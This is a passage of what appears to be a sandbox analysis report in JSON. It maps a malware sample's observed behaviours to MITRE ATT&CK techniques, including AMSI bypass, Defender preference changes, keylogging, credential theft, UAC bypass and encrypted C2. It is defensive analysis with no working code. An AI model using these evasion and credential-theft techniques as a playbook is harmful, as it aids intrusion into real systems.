(DIE)"},{"type":"informative","value":"YARA signature match - AES Encryption"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Contains ability to decode base64 data"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"},{"type":"informative","value":"Loads the CLR Loader DLL"},{"type":"informative","value":"Dotnet code contains potential unpacker"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Attempts to read volume data via DOS device path"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"malicious","value":"Creates a mutant that is known to appear in malware"},{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Tries to map intranet network resources to internet zone"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Contains ability to modify Windows Defender preferences (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"malicious","value":"Drops executable files to the Windows system directory"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Able to read the PEB (Process Environment Block) structure"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – cryptographic algorithms"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"suspicious","value":"Calls an API typically used for keylogging"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to retrieve system time"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Touches files in program files directory"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Reads files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"suspicious","value":"Found system commands related strings"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Queries basic information of the specified process"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query system locale (API string)"},{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query the system locale"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API typically used to get handle of currently active window"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Read windows product name from registry"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Queries TCP/IP interface details"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Loads Windows LDAP client module"},{"type":"informative","value":"References Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve default language settings"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"},{"type":"informative","value":"Contains the ability to enumerate service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"suspicious","value":"Tries to access/write temporary files"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Calls an API possibly used to take screenshots"},{"type":"suspicious","value":"Calls an API possibly used to take screenshots"},{"type":"informative","value":"Able to capture screen (API string)"},{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops Windows batch files"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"},{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains ability to perform encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short term SSL Certificate Detected"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Persistence","technique":"AppInit DLLs","attack_id":"T1546.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/010","identifiers":[{"type":"informative","value":"Contains ability to read the PEB (Process Environment Block) structure"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"malicious","value":"Creates a fake system process"},{"type":"malicious","value":"Found a system process name at an unusual pathway"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Defense Evasion","technique":"Impair Defenses","attack_id":"T1562","attack_id_wiki":"https://attack.mitre.org/techniques/T1562","identifiers":[{"type":"informative","value":"Uses powershell with a add-mppreference commandline param"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Found a reference to an external IP address lookup service"},{"type":"malicious","value":"Tries to identify its external IP address"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"May execute SQL queries"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"informative","value":"Queries list of installed browsers"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL 